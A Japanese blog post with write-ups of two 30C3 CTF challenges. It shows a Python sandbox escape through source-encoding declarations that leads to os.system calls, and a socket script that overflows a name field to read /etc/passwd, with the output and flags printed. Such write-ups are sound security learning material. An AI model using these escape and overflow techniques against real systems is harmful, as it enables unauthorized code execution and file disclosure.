2013年12月30日月曜日

30C3 CTF Writeup

SANDBOX PyExec 300

アクセスするとこんな感じのページが出てくる

print 1+2と書いてexecを押すと 出力に3と出る。

Pythonのソースがダウンロードできるので呼んでみる
https://www.dropbox.com/sh/r8w31bik68dx3pn/ucnTKIQ2D7

black listで単語をはじくようになっていて、さらに入力できる文字も制限されていた。
使える文字は
改行 a-z 0-9 # \t , + * / : % > < = 半角スペース _ \ -

まずやってみたことは
http://www.slideshare.net/shiracamus/ctfpython
50ページにある #coding:rot13

入力に
#coding:rot13
cevag 1

出力は
1

と実行された


後は入力をはじかれないようにsystemコマンドでも実行するのかなっと試行錯誤
Base64やuuencodeなどなどを試してみるがだめ

ここでいいものがないか探すことに
http://docs.python.jp/2/library/codecs.html#standard-encodings


#coding:raw_unicode_escape
Python ソースコードにおける raw Unicode リテラルとして適切な文字列を生成します。

っとのことでunicodeでできるらしいので試してみた



print 2を実行したところ実行できた。
後は
import os
os.system('ls')

を実行させ


カレントディレクトリにflag.txtがあったので


import os
os.system('cat flag.txt')

flagを出力させることに成功しました。

flag:
30C3_2a2766d9cf4a137d517a8227bd71d59d


PWN DOGE1 100


とりあえず nc 88.198.89.218 1024でつなぐと

Dogename: っと名前を聞かれたので適当に入力


これはすごい!!っと関心

次にDogenameに長い文字を入力することに



お?来たかって思ったら。ascii_art_doge_color.txtっというこの犬が入っているテキストの名前が出てきた。

オーバーフローさせてこの名前を任意のディレクトリに変えればそこを読み込まないか?っといろいろと試す



#! c:/Python27/python.exe
# -*- coding: utf-8 -*-

import socket
import sys

host = '88.198.89.218'
port = 1024

sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((host,port))

print sock.recv(1024)
sock.sendall("A"*32+"/etc/passwd\x00")
print sock.recv(1024)


/etc/passwdを読み込ますことに成功

出力結果

Dogename:
 [93mAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/etc/passwd [0mroot:x:0:0:root:/root:/bin/
ash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
user:x:1000:1000:user,,,:/home/user:/bin/bash
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
doge:30C3_51dd250e0adb864f
f40cc40b818852f4:1001:1001:,,,:/home/doge:/bin/false

一番下にflagっぽいものが合った
flag:
30C3_51dd250e0adb864ff40cc40b818852f4




お疲れ様でした。


0 件のコメント:

コメントを投稿